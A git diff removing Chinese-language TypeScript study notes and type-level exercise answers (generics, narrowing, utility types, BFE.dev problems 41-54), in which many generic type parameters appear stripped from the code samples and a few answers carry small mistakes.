:是TypeScript中比较特殊的一种类型,它用于描述类型不确定的变量。 - -- void:也就是函数可以返回null或者undefined - -- never:是一个死循环或者抛出一个异常 - -- tuple元组: - - 数组中通常建议存放相同类型的元素,不同类型的元素是不推荐放在数组中。(可以放在对象或者元组 中) - - 元组中每个元素都有自己特性的类型,根据索引值获取到的值可以确定对应的类型; - -### 匿名函数的参数 - -匿名函数与函数声明会有一些不同: - -- 当一个函数出现在TypeScript可以确定该函数会被如何调用的地方时;该函数的参数会自动指定类型; - -```ts -const names = ["a", "b"]; -names.forEach(item => { - console.log(item.toUpperCase()); -}); -``` - -我们并没有指定item的类型,但是item是一个string类型: - -- 这是因为TypeScript会根据forEach函数的类型以及数组的类型推断出item的类型; - -- 这个过程称之为上下文类型(contextual typing),因为函数执行的上下文可以帮助确定参数和返回值的类型; - -### 联合类型 - -我们来使用第一种组合类型的方法:联合类型(Union Type) - -- 联合类型是由两个或者多个其他类型组成的类型; -- 表示可以是这些类型中的任何一个值; -- 联合类型中的每一个类型被称之为联合成员(union's members); - -```ts -function printID(id: string | number) { - console.log(id); -} -``` - -**使用联合类型** - -但是我们拿到这个值之后,我们应该如何使用它呢?因为它可能是任何一种类型。比如我们拿到的值可能是string或者number,我们就不能对其调用string上的一些方法; - -**使用缩小(narrow)联合** - -TypeScript可以根据我们缩小的代码结构,推断出更加具体的类型; - -```ts -function printID(id: string | number) { - if (typeof id === 'string') { - console.log(id.toUpperCase()) - } else { - console.log(id) - } -} -``` - -**可选类型补充** - -可选类型可以看做是 类型 和 undefined 的联合类型: - -```ts -function print(message?: string) { - console.log(message) -} - -print(null) //Argument of type 'null' is not assignable to parameter of type 'string | undefined'. -``` - -### 类型别名 - -在前面,我们通过在类型注解中编写 对象类型 和 联合类型,但是当我们想要多次在其他地方使用时,就要编写多 次。 - -比如我们可以给对象类型起一个别名: - -```ts -// type用于定义类型别名(type alias) -type IDType = string | number | boolean -type PointType = { - x: number - y: number - z?: number -} - -function printId(id: IDType) {} - -function printPoint(point: PointType) {} -``` - -### 类型断言as - -有时候TypeScript无法获取具体的类型信息,这个我们需要使用类型断言(Type Assertions) - -比如我们通过 document.getElementById,TypeScript只知道该函数会返回 HTMLElement ,但并不知道它 具体的类型: - -```ts -// 1.类型断言 as -const el = document.getElementById("why") as HTMLImageElement -el.src = "url地址" - - -// 2.另外案例: Person是Student的父类 -class Person { - -} - -class Student extends Person { - studying() { - - } -} - -function sayHello(p: Person) { - (p as Student).studying() -} - -const stu = new Student() -sayHello(stu) -``` - -TypeScript只允许类型断言转换为 更具体 或者 不太具体 的类型版本,此规则可防止不可能的强制转换: - -```ts -const message = "Hello World" -const num: number = (message as unknown) as number -``` - -### 非空类型断言 ! - -非空断言使用的是 ! ,表示可以确定某个标识符是有值的,跳过ts在编译阶段对它的检测; - -```ts -// message? -> undefined | string -function printMessageLength(message?: string) { - // if (message) { - // console.log(message.length) - // } - // vue3源码 - console.log(message!.length) -} - -printMessageLength("aaaa") -printMessageLength("hello world") -``` - -### 可选链的使用 - -可选链事实上并不是TypeScript独有的特性,它是ES11(ES2020)中增加的特性: - -可选链使用可选链操作符 ?.;它的作用是当对象的属性不存在时,会短路,直接返回undefined,如果存在,那么才会继续执行;虽然可选链操作是ECMAScript提出的特性,但是和TypeScript一起使用更版本; - -```ts -type Person = { - name: string - friend?: { - name: string - age?: number, - girlFriend?: { - name: string - } - } -} - -const info: Person = { - name: "why", - friend: { - name: "kobe", - girlFriend: { - name: "lily" - } - } -} - - -// 另外一个文件中 -console.log(info.name) -// console.log(info.friend!.name) -console.log(info.friend?.name) -console.log(info.friend?.age) -console.log(info.friend?.girlFriend?.name) -``` - -### ??和!!的作用 - -**!!操作符:** - -- 将一个其他类型转换成boolean类型; -- 类似于Boolean(变量)的方式; - -**??操作符:** - -- 它是ES11增加的新特性;**空值合并操作符(??)是一个逻辑操作符,当操作符的左侧是 null 或者 undefined 时,返回其右侧操作数, 否则返回左侧操作数;** - -```ts -let message: string|null = "Hello World" - -const content = message ?? "你好啊, 李银河" -// const content = message ? message: "你好啊, 李银河" -console.log(content) -``` - -### 字面量类型 - -默认情况下单独使用是没有太大的意义的,但是我们可以将多个类型联合在一起 - -```ts -// "Hello World"也是可以作为类型的, 叫做字面量类型 -const message: "Hello World" = "Hello World" - -// let num: 123 = 123 -// num = 321 - - -// 字面量类型的意义, 就是必须结合联合类型 -type Alignment = 'left' | 'right' | 'center' - -let align: Alignment = 'left' -align = 'right' -align = 'center' -``` - -**字面量推理** - -```ts -// const info = { -// name: "why", -// age: 18 -// } - -// info.name = "kobe" - -// - -type Method = 'GET' | 'POST' -function request(url: string, method: Method) {} - -type Request = { - url: string, - method: Method -} -// 方法一 -const options = { - url: "https://www.coderwhy.org/abc", - method: "POST" -} as const - -request(options.url, options.method) - -// 方法二 -const options = { - url: "https://www.coderwhy.org/abc", - method: "POST" -} - -request(options.url, options.method as 'GET') -``` - -### 类型缩小 - -在给定的执行路径中,我们可以缩小比声明时更小的类型,这个过程称之为 缩小;而我们编写的 typeof padding === "number 可以称之为 类型保护(type guards); - -常见的类型保护有如下几种: - -- typeof -- 平等缩小(比如===、!==) -- instanceof -- in -- 等等... - -```ts -// 1.typeof的类型缩小 -type IDType = number | string -function printID(id: IDType) { - if (typeof id === 'string') { - console.log(id.toUpperCase()) - } else { - console.log(id) - } -} - -// 2.平等的类型缩小(=== == !== !=/switch) -type Direction = "left" | "right" | "top" | "bottom" -function printDirection(direction: Direction) { - // 1.if判断 - // if (direction === 'left') { - // console.log(direction) - // } else if () - - // 2.switch判断 - // switch (direction) { - // case 'left': - // console.log(direction) - // break; - // case ... - // } -} - -// 3.instanceof -function printTime(time: string | Date) { - if (time instanceof Date) { - console.log(time.toUTCString()) - } else { - console.log(time) - } -} - -class Student { - studying() {} -} - -class Teacher { - teaching() {} -} - -function work(p: Student | Teacher) { - if (p instanceof Student) { - p.studying() - } else { - p.teaching() - } -} - -const stu = new Student() -work(stu) - -// 4. in -type Fish = { - swimming: () => void -} - -type Dog = { - running: () => void -} - -function walk(animal: Fish | Dog) { - if ('swimming' in animal) { - animal.swimming() - } else { - animal.running() - } -} - -const fish: Fish = { - swimming() { - console.log("swimming") - } -} - -walk(fish) -``` - -### TypeScript函数类型 - -```ts -// 1.函数作为参数时, 在参数中如何编写类型 -function foo() {} - -type FooFnType = () => void -function bar(fn: FooFnType) { - fn() -} - -bar(foo) - -// 2.定义常量时, 编写函数的类型 -type AddFnType = (num1: number, num2: number) => number -const add: AddFnType = (a1: number, a2: number) => { - return a1 + a2 -} -``` - -案例 - -```ts -function calc(n1: number, n2: number, fn: (num1: number, num2: number) => number) { - return fn(n1, n2) -} - -const result1 = calc(20, 30, function(a1, a2) { - return a1 + a2 -}) -console.log(result1) - -const result2 = calc(20, 30, function(a1, a2) { - return a1 * a2 -}) -console.log(result2) -``` - -### this类型 - -TypeScript进行类型检测的目的是让我们的代码更加的安全,会去推导使用的this是否安全合法。 - -## 重载 - -### 函数的重载 - -在TypeScript中,如果我们编写了一个add函数,希望可以对字符串和数字类型进行相加,应该如何编写呢? - -```ts -// 函数的重载: 函数的名称相同, 但是参数不同的几个函数, 就是函数的重载 -function add(num1: number, num2: number): number; // 没函数体 -function add(num1: string, num2: string): string; - -function add(num1: any, num2: any): any { - if (typeof num1 === 'string' && typeof num2 === 'string') { - return num1.length + num2.length - } - return num1 + num2 -} - -const result = add(20, 30) -const result2 = add("abc", "cba") -console.log(result) -console.log(result2) - -// 在函数的重载中, 实现函数是不能直接被调用的 -// add({name: "why"}, {age: 18}) - -export {} -``` - -### 联合类型和重载 - -我们现在有一个需求:定义一个函数,可以传入字符串或者数组,获取它们的长度。 - -这里有两种实现方案: - -```ts -// 实现方式一: 联合类型 -function getLength(args: string | any[]) { - return args.length -} - - -// 实现方式二: 函数的重载 -function getLength(args: string): number; -function getLength(args: any[]): number; - -function getLength(args: any): number { - return args.length -} -``` - -## 类的使用 - -### getters/setters - -在前面一些私有属性我们是不能直接访问的,或者某些属性我们想要监听它的获取(getter)和设置(setter)的过程, 这个时候我们可以使用存取器。 - -```ts -class Person { - private _name: string - constructor(name: string) { - this._name = name - } - - // 访问器setter/getter - // setter - set name(newName) { - this._name = newName - } - // getter - get name() { - return this._name - } -} - -const p = new Person("why") -p.name = "coderwhy" -console.log(p.name) -``` - -### 静态成员 - -前面我们在类中定义的成员和方法都属于对象级别的, 在开发中, 我们有时候也需要定义类级别的成员和方法。在TypeScript中通过关键字static来定义: - -```ts -class Student { - static time: string = "20:00" - - static attendClass() { - console.log("去学习~") - } -} - -console.log(Student.time) -Student.attendClass() -``` - -### 抽象类abstract - -在TypeScript中没有具体实现的方法(没有方法体),就是抽象方法 - -```ts - -function makeArea(shape: Shape) { - return shape.getArea() -} - - -abstract class Shape { - abstract getArea(): number -} - - -class Rectangle extends Shape { - private width: number - private height: number - - constructor(width: number, height: number) { - super() - this.width = width - this.height = height - } - - getArea() { - return this.width * this.height - } -} - -class Circle extends Shape { - private r: number - - constructor(r: number) { - super() - this.r = r - } - - getArea() { - return this.r * this.r * 3.14 - } -} - -const rectangle = new Rectangle(20, 30) -const circle = new Circle(10) - -console.log(makeArea(rectangle)) -console.log(makeArea(circle)) -``` - -### 类的类型 - -类本身也是可以作为一种数据类型的: - -```ts -class Person { - name: string = "123" - eating() { - - } -} - -const p = new Person() - -const p1: Person = { - name: "why", - eating() { - - } -} - -function printPerson(p: Person) { - console.log(p.name) -} - -printPerson(new Person()) -printPerson({name: "kobe", eating: function() {}}) - -export {} -``` - -### 可选属性 只读属性 - -```ts -// 通过类型(type)别名来声明对象类型 -// type InfoType = {name: string, age: number} - -// 另外一种方式声明对象类型: 接口interface -// 在其中可以定义可选类型 -// 也可以定义只读属性 -interface IInfoType { - readonly name: string - age: number - friend?: { - name: string - } -} - -const info: IInfoType = { - name: "why", - age: 18, - friend: { - name: "kobe" - } -} - -console.log(info.friend?.name) -console.log(info.name) -// info.name = "123" -info.age = 20 - -``` - -### 索引类型 - -前面我们使用interface来定义对象类型,这个时候其中的属性名、类型、方法都是确定的,但是有时候我们会遇 到类似下面的对象: - -```ts -// 通过interface来定义索引类型 -interface IndexLanguage { - [index: number]: string -} - -const frontLanguage: IndexLanguage = { - 0: "HTML", - 1: "CSS", - 2: "JavaScript", - 3: "Vue" -} - - -interface ILanguageYear { - [name: string]: number -} - -const languageYear: ILanguageYear = { - "C": 1972, - "Java": 1995, - "JavaScript": 1996, - "TypeScript": 2014 -} -``` - -### 函数类型 - -```ts -// type CalcFn = (n1: number, n2: number) => number -// 可调用的接口 -interface CalcFn { - (n1: number, n2: number): number -} - -function calc(num1: number, num2: number, calcFn: CalcFn) { - return calcFn(num1, num2) -} - -const add: CalcFn = (num1, num2) => { - return num1 + num2 -} - -calc(20, 30, add) -``` - -除非特别的情况,还是推荐大家使用类型别名来定义函数: - -```ts -type CalcFunc = (nums1: number, num2: number) => number -``` - -### 接口继承 - -接口和类一样是可以进行继承的,也是使用extends关键字: - -并且我们会发现,接口是支持多继承的**(类不支持多继承)** - -```ts -interface ISwim { - swimming: () => void -} - -interface IFly { - flying: () => void -} - - -interface IAction extends ISwim, IFly { - -} - -const action: IAction = { - swimming() { - - }, - flying() { - - } -} -``` - -### 接口的实现 - -接口定义后,也是可以被类实现的: - -- 如果被一个类实现,那么在之后需要传入接口的地方,都可以将这个类传入; -- 这就是面向接口开发; - -```ts -class Animal { - -} - -// 继承: 只能实现单继承 -// 实现: 实现接口, 类可以实现多个接口 -class Fish extends Animal implements ISwim, IEat { - swimming() { - console.log("Fish Swmming") - } - - eating() { - console.log("Fish Eating") - } -} - - -class Person implements ISwim { - swimming() { - console.log("Person Swimming") - } -} - - -// 编写一些公共的API: 面向接口编程 -function swimAction(swimable: ISwim) { - swimable.swimming() -} - -// 1.所有实现了接口的类对应的对象, 都是可以传入 -swimAction(new Fish()) -swimAction(new Person()) - - -swimAction({swimming: function() {}}) -``` - -### 交叉类型 - -另外一种类型合并,就是交叉类型(Intersection Types): - -交叉类似表示需要满足多个类型的条件,交叉类型使用 & 符号; - -```ts -// 一种组合类型的方式: 联合类型 -type WhyType = number | string -type Direction = "left" | "right" | "center" - - -// 另一种组件类型的方式: 交叉类型 -type WType = number & string - -interface ISwim { - swimming: () => void -} - -interface IFly { - flying: () => void -} - -type MyType1 = ISwim | IFly -type MyType2 = ISwim & IFly // 需要同时实现 - -const obj1: MyType1 = { - flying() { - - } -} - -const obj2: MyType2 = { - swimming() { - - }, - flying() { - - } -} -``` - -### 枚举类型 - - 枚举类型是为数不多的TypeScript特性有的特性之一: - -- 枚举其实就是将一组可能出现的值,一个个列举出来,定义在一个类型中,这个类型就是枚举类型; -- 枚举允许开发者定义一组命名常量,常量可以是数字、字符串类型; - -**枚举类型的值** - -枚举类型默认是有值的,比如上面的枚举,默认值是这样的: - -```ts -enum Direction { - LEFT = 0, - RIGHT = 1, - TOP = 2, - BOTTOM = 3 -} -``` - -代码: - -```ts -// type Direction = "left" | "Right" | "Top" | "Bottom" - -enum Direction { - LEFT = "LEFT", - RIGHT = "RIGHT", - TOP = "TOP", - BOTTOM = "BOTTOM" -} - -let name: string = "abc" -let d: Direction = Direction.BOTTOM - -function turnDirection(direction: Direction) { - console.log(direction) - switch (direction) { - case Direction.LEFT: - console.log("改变角色的方向向左") - break; - case Direction.RIGHT: - console.log("改变角色的方向向右") - break; - case Direction.TOP: - console.log("改变角色的方向向上") - break; - case Direction.BOTTOM: - console.log("改变角色的方向向下") - break; - default: - const foo: never = direction; - break; - } -} - -turnDirection(Direction.LEFT) -turnDirection(Direction.RIGHT) -turnDirection(Direction.TOP) -turnDirection(Direction.BOTTOM) -``` - -### 泛型 - -软件工程的主要目的是构建不仅仅明确和一致的API,还要让你的代码具有很强的可重用性: - -- 比如我们可以通过函数来封装一些API,通过传入不同的函数参数,让函数帮助我们完成不同的操作;但是对于参数的类型是否也可以参数化。 - -**什么是类型的参数化?** - -封装一个函数,传入一个参数,并且返回这个参数; - -TS通过类型推到,自动推到出我们传入变量的类型 - -```ts -// 在定义这个函数时, 我不决定这些参数的类型 -// 而是让调用者以参数的形式告知,我这里的函数参数应该是什么类型 -function sum(num: Type): Type { - return num -} - -// 1.调用方式一: 明确的传入类型 -sum(20) -sum<{name: string}>({name: "why"}) -sum(["abc"]) - -// 2.调用方式二: 类型推到 -sum(50) -sum("abc") -``` - -**平时在开发中我们可能会看到一些常用的名称:** - -T:Type的缩写,类型 - -K、V:key和value的缩写,键值对 - -E:Element的缩写,元素 - -O:Object的缩写,对象 - -```ts -function foo(arg1: T, arg2: E, arg3?: O, ...args: T[]) { - -} - -foo(10, "abc", true) -``` - -### 泛型接口 - -在定义接口的时候我们也可以使用泛型: - -```ts -interface IPerson { - name: T1 - age: T2 -} - -const p: IPerson = { - name: "why", - age: 18 -} -``` - -### 泛型类 - -```ts -class Point { - x: T - y: T - z: T - - constructor(x: T, y: T, z: T) { - this.x = x - this.y = y - this.z = y - } -} - -const p1 = new Point("1.33.2", "2.22.3", "4.22.1") -const p2 = new Point("1.33.2", "2.22.3", "4.22.1") -const p3: Point = new Point("1.33.2", "2.22.3", "4.22.1") - -const names1: string[] = ["abc", "cba", "nba"] -const names2: Array = ["abc", "cba", "nba"] // 不推荐(react jsx <>) -``` - -### 泛型约束 - -有时候我们希望传入的类型有某些共性,但是这些共性可能不是在同一种类型中: - -- 比如string和array都是有length的,或者某些对象也是会有length属性的; -- 那么只要是拥有length的属性都可以作为我们的参数类型,那么应该如何操作呢? - -```ts -interface ILength { - length: number -} - -function getLength(arg: T) { - return arg.length -} - -getLength("abc") -getLength(["abc", "cba"]) -getLength({length: 100}) -``` - -## 模块化开发 - -TypeScript支持两种方式来控制我们的作用域: - -- 模块化:每个文件可以是一个独立的模块,支持ES Module,也支持CommonJS; -- 命名空间:通过namespace来声明一个命名空间 - -![image-20220411214442768](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204112144853.png) - -### 命名空间namespace - -命名空间在TypeScript早期时,称之为内部模块,主要目的是将一个模块内部再进行作用域的划分,防止一些命名 冲突的问题。 - -![image-20220411214531141](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204112145215.png) diff --git "a/src/TypeScript/\343\200\214\351\207\215\345\255\246TS 2.0 \343\200\215TS \347\273\203\344\271\240\351\242\2301-10.md" "b/src/TypeScript/\343\200\214\351\207\215\345\255\246TS 2.0 \343\200\215TS \347\273\203\344\271\240\351\242\2301-10.md" deleted file mode 100644 index d148b830..00000000 --- "a/src/TypeScript/\343\200\214\351\207\215\345\255\246TS 2.0 \343\200\215TS \347\273\203\344\271\240\351\242\2301-10.md" +++ /dev/null @@ -1,275 +0,0 @@ ---- -date: 2022-03-19 -category: -- 练习题 -- 前端 -- TypeScript ---- - -# 「重学TS 2.0 」TS 练习题1-10 - -### 第一题 - -```typescript -type User = { - id: number; - kind: string; -}; - -function makeCustomer(u: T): T { - // Error(TS 编译器版本:v4.4.2) - // Type '{ id: number; kind: string; }' is not assignable to type 'T'. - // '{ id: number; kind: string; }' is assignable to the constraint of type 'T', - // but 'T' could be instantiated with a different subtype of constraint 'User'. - return { - id: u.id, - kind: 'customer' - } -} -``` - -**Answer** - -```typescript -type User = { - id: number; - kind: string; -}; - -function makeCustomer(u: T): T { - // Error(TS 编译器版本:v4.4.2) - // Type '{ id: number; kind: string; }' is not assignable to type 'T'. - // '{ id: number; kind: string; }' is assignable to the constraint of type 'T', - // but 'T' could be instantiated with a different subtype of constraint 'User'. - return { - id: u.id, - kind: 'customer' - } -} -回答:T 类型兼容 User类型, -第一种回答: -function makeCustomer(u: T): T { - // Error(TS 编译器版本:v4.4.2) - // Type '{ id: number; kind: string; }' is not assignable to type 'T'. - // '{ id: number; kind: string; }' is assignable to the constraint of type 'T', - // but 'T' could be instantiated with a different subtype of constraint 'User'. - return { - ...u, - id: u.id, - kind: 'customer', - }; -} -第二种返回值限制为User 类型的 -function makeCustomer(u: T): ReturnMake { - // Error(TS 编译器版本:v4.4.2) - // Type '{ id: number; kind: string; }' is not assignable to type 'T'. - // '{ id: number; kind: string; }' is assignable to the constraint of type 'T', - // but 'T' could be instantiated with a different subtype of constraint 'User'. - return { - id: u.id, - kind: 'customer', - }; -} - -type ReturnMake = { - [K in keyof U as K extends keyof T ? K : never]: U[K]; -}; -``` - -### 第二题 - -本道题我们希望参数 `a` 和 `b` 的类型都是一致的,即 `a` 和 `b` 同时为 `number` 或 `string` 类型。当它们的类型不一致的值,TS 类型检查器能自动提示对应的错误信息。 - -```ts -function f(a: string | number, b: string | number) { - if (typeof a === 'string') { - return a + ':' + b; // no error but b can be number! - } else { - return a + b; // error as b can be number | string - } -} - -f(2, 3); // Ok -f(1, 'a'); // Error -f('a', 2); // Error -f('a', 'b') // Ok -``` - -**Answer** - -```ts -function f(a: T, b: T) { - if (typeof a === 'string') { - return a + ':' + b; // no error but b can be number! - } else { - return (a as number) + (b as number); // error as b can be number | string - } -} - -f(2, 3); // Ok -f(1, 'a'); // Error -f('a', 2); // Error -f(2, 2) // Ok -``` - -### 第三题 - -在 [掌握 TS 这些工具类型,让你开发事半功倍](https://mp.weixin.qq.com/s?__biz=MzI2MjcxNTQ0Nw==&mid=2247484142&idx=1&sn=946ba90d10e2625513f09e60a462b3a7&chksm=ea47a3b6dd302aa05af716d0bd70d8d7c682c9f4527a9a0c03cd107635711c394ab155127f9e&scene=21#wechat_redirect) 这篇文章中,阿宝哥介绍了 TS 内置的工具类型:`Partial`,它的作用是将某个类型里的属性全部变为可选项 `?`。 - -```ts -interface Todo { - title: string; - description: string; -} - -function updateTodo(todo: Todo, fieldsToUpdate: Partial) { - return { ...todo, ...fieldsToUpdate }; -} - -// lib.es5.d.ts -type Partial = { - [P in keyof T]?: T[P]; -}; -``` - -那么如何定义一个 `SetOptional` 工具类型,支持把给定的 keys 对应的属性变成可选的?对应的使用示例如下所示: - -```ts -type Foo = { - a: number; - b?: string; - c: boolean; -} - -// 测试用例 -type SomeOptional = SetOptional; - -// type SomeOptional = { -// a?: number; // 该属性已变成可选的 -// b?: string; // 保持不变 -// c: boolean; -// } -``` - -在实现 `SetOptional` 工具类型之后,如果你感兴趣,可以继续实现 `SetRequired` 工具类型,利用它可以把指定的 keys 对应的属性变成必填的。对应的使用示例如下所示: - -```ts -type Foo = { - a?: number; - b: string; - c?: boolean; -} - -// 测试用例 -type SomeRequired = SetRequired; -// type SomeRequired = { -// a?: number; -// b: string; // 保持不变 -// c: boolean; // 该属性已变成必填 -// } -``` - -**Answer** - -3.1 SetOptional - -```ts -type Foo = { - a: number; - b?: string; - c: boolean; -} - -type Simplify = { - [P in keyof T]: T[P] -} - -type SetOptional = - Simplify> & Pick>> - -// 测试用例 -type SomeOptional = SetOptional; -// type SomeOptional = { -// a?: number; // 该属性已变成可选的 -// b?: string; // 保持不变 -// c: boolean; -// } -``` - -在以上代码中,我们定义了一个 `Simplify` 工具类型,用来对交叉类型进行扁平化处理。具体的作用,你们可以实际体验一下。 - -3.2 SetRequired - -```ts -type Foo = { - a?: number; - b: string; - c?: boolean; -} - -type Simplify = { - [P in keyof T]: T[P] -} - -type SetRequired = Simplify> & Required>> - -// 测试用例 -type SomeRequired = SetRequired; -// type SomeRequired = { -// a?: number; -// b: string; // 保持不变 -// c: boolean; // 该属性已变成必填 -// } -``` - -### 第四题 - -`Pick` 的作用是将某个类型中的子属性挑出来,变成包含这个类型部分属性的子类型。 - -```ts -interface Todo { - title: string; - description: string; - completed: boolean; -} - -type TodoPreview = Pick; - -const todo: TodoPreview = { - title: "Clean room", - completed: false -}; -``` - -那么如何定义一个 `ConditionalPick` 工具类型,支持根据指定的 `Condition` 条件来生成新的类型,对应的使用示例如下: - -```ts -interface Example { - a: string; - b: string | number; - c: () => void; - d: {}; -} - -// 测试用例: -type StringKeysOnly = ConditionalPick; -//=> {a: string} -``` - -**Answer** - -```ts -interface Example { - a: string; - e: number; - b: string | number; - c: () => void; - d: {}; - f: string | number | boolean; -} -type ConditionalPick = { - [K in keyof V as V[K] extends T ? K : never]: V[K]; -}; -type StringKeysOnly = ConditionalPick; -``` - diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 41- 50.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 41- 50.md" deleted file mode 100644 index 209703a9..00000000 --- "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 41- 50.md" +++ /dev/null @@ -1,221 +0,0 @@ ---- -date: 2022-12-08 -category: -- TypeScript ---- - -# BFE-TS TypeScript类型体操练习 41- 50 - -题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! - -## 常用工具类型 41-44 - -41. **实现 LengthOfString\** - - 实现`LengthOfString`用以返回字符串长度。 - - ```ts - type A = LengthOfString<'BFE.dev'> // 7 - type B = LengthOfString<''> // 0 - ``` - - **答案:** - - 1. 转为元组后直接访问泛型的.length属性 - - ```ts - type StringToTuple = T extends `${infer L}${infer R}` ? [L, ...StringToTuple] : []; - type LengthOfString = StringToTuple['length']; - ``` - - 0. 辅助数组统计长度 - - ```ts - type LengthOfString< -  T extends string, -  U extends 0[] = [] - > = T extends `${infer A}${infer B}` -  ? LengthOfString - : U["length"]; - ``` - -16. **实现 LengthOfTuple\** - - 实现`LengthOfTuple`返回tuple type的长度。 - - ```ts - type A = LengthOfTuple<['B', 'F', 'E']> // 3 - type B = LengthOfTuple<[]> // 0 - ``` - - **答案:** - - 直接访问泛型的.length属性 - - ```ts - type LengthOfTuple = T["length"] - ``` - -16. **实现 StringToTuple\** - - 实现`StringToTuple`将字符串拆散为tuple,类似`String.prototype.split('')`效果 - - ```ts - type A = StringToTuple<'BFE.dev'> // ['B', 'F', 'E', '.', 'd', 'e','v'] - type B = StringToTuple<''> // [] - ``` - - **答案:** - - ```ts - type StringToTuple = T extends `${infer A}${infer B}` ? [A, ...StringToTuple] : [] - ``` - -16. **实现 LastItem\** - - `FirstItem`类似,请实现`LastItem`用以返回tuple的最后一个type - - ```ts - type A = LastItem<[string, number, boolean]> // boolean - type B = LastItem<['B', 'F', 'E']> // 'E' - type C = LastItem<[]> // never - ``` - - **答案:** - - ```ts - type LastItem = T extends [...infer Firsts, infer Last] ? Last : never - ``` - - 相类似的 - - ```ts - type LastItem = T extends [...any[], infer M] ? M : never; - ``` - - -## 有挑战性的题目 45-50 - -45. **实现UndefinedToNull\** - - 根据题 [176. undefined to null](https://bigfrontend.dev/problem/undefined-to-null),实现`UndefinedToNull`,将对象、元组or传入泛型的undefined转置为null - - ```ts - type A = UndefinedToNull    // string - type B = UndefinedToNull // null - type C = UndefinedToNull<[undefined, null]> // [null, null] - type D = UndefinedToNull<{ -  a: undefined, -  b: [1, undefined] - }> // {a: null, b: [1, null]} - ``` - - **答案:** - - ```ts - type UndefinedToNull = T extends Record ? { - [K in keyof T]: UndefinedToNull - } : (T extends [infer A, ...infer B] ? [A, ...UndefinedToNull] : T extends undefined ? null : T) - ``` - -46. **实现MapStringUnionToObjectUnion\** - - 将字符串联合映射到联合对象类型,如下所示。 - - ```ts - type A = MapStringUnionToObjectUnion<'1'> - // { - //   value: '1' - // } - ​ - type B = MapStringUnionToObjectUnion<'1' | '2'> - // { - //   value: '1' - // } | - // { - //   value: '2 - // } - ``` - - **答案:** - - ```ts - type MapStringUnionToObjectUnion = { [k in U]: { value: k } }[U] - ``` - - -47. **实现Diff** - - 找不同,即A,B中只存在一边的keys - - ```ts - type A = DiffKeys<{a: 1, b: 2}, {b: 1, c: 2}> // 'a' | 'c' - ``` - - **答案:** - - ```ts - type DiffKeys< -  A extends Record, -  B extends Record - > = Exclude | Exclude - ``` - -48. **实现ObjectPaths\** - - `ObjectPaths`,能够返回属性的所有有效路径 - - ```ts - type Obj = { -  a: { -    b: { -      c: 1, -      d: 2 -   }, -    e: 1 - }, -  f: 3 - } - ​ - type A = ObjectPaths - // 'a.b.c' | 'a.b.d' | 'a.e' | 'f' - ``` - - **答案:** - - ```ts - type ObjectPaths> = { - [K in keyof O]: K extends string -                  ? O[K] extends Record ? `${K}.${ObjectPaths}` : `${K}` -                 : never - }[keyof O]; - ``` - -49. **实现StringToNumber\** - - 将字符串转换为数字,假设字符串都是有效的非负整数 - - ```ts - type A = StringToNumber<'12'> // 123 - ``` - - **答案:** - - ```ts - type StringToNumber = -  `${T['length']}` extends S ? T['length'] : StringToNumber - ``` - -50. **实现Abs\** - - 获取数字的绝对值,假设数字都是整数 - - **答案:** - - ```ts - type StringToNumber = -  `${T['length']}` extends S ? T['length'] : StringToNumber - ​ - type Abs = -  `${N}` extends `-${infer A}` ? Abs> : StringToNumber<`${N}`> - ``` diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 51- 60.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 51- 60.md" deleted file mode 100644 index e862a64e..00000000 --- "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 51- 60.md" +++ /dev/null @@ -1,304 +0,0 @@ ---- -date: 2022-12-08 -category: -- TypeScript ---- - -# BFE-TS TypeScript类型体操练习 51- 60 - -题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! - -## 有挑战性的题目 51-60 - -51. **实现CamelCase\** - - 将下划线连接转为驼峰(snake case to camel case) - - ```ts - type A = CamelCase<'big_front_end'> // BigFrontEnd - ``` - - **答案:** - - ```typescript - type CamelCase = - S extends `${infer L}_${infer R}` - ? CamelCase<`${Capitalize}${Capitalize}`> - : Capitalize - ``` - - > `Capitalize` 为4.1新增关键字[TypeScript 4.1 新特性之字符串模板类型 - boygdm - 博客园](https://www.cnblogs.com/boyGdm/p/14489060.html) - -52. **实现SnakeCase\** - - 经典的大驼峰转下划线连接(camel case to snake case),注意首字母转小写 - - ```ts - type A = SnakeCase<'BigFrontEnd'> // big_front_end - ``` - - **答案:** - - 即分为大小写判定和添加前缀,然后组合成新的字符串,O(n)解法: - - ```typescript - type isUpperCase = T extends '' ? false : (Uppercase extends T ? true : false); - - type Prefix = Skip extends false ? (isUpperCase extends true ? `_${Lowercase}` : T) : Lowercase; - - type SnakeCase = T extends `${infer A}${infer B}` ? ( - `${Prefix}${SnakeCase}` - ) : T - ``` - - -53. **实现Split** - - 即实现类`String.prototype.split()`的功能 - - ```ts - type A = Split<'BFE.dev', '.'> // ['BFE', 'dev'] - type B = Split<'bfe.dev', 'e'> // ['bf', '.d', 'v'] - type C = Split<'bfe.bfe.bfe', 'bfe'> // ['', '.', '.', ''] - ``` - - **答案:** - - ```typescript - type Split< - S extends string, - D extends string, - ResultType extends string[] = [], - > = S extends `${infer F}${D}${infer Rest}` - ? Split - : [...ResultType, S]; - ``` - - 这与`StringToTuple`有点相似,参考: - - ```ts - type StringToTuple = T extends `${infer A}${infer B}` ? [A, ...StringToTuple] : [] - ``` - - -54. **实现Capitalize\** - - 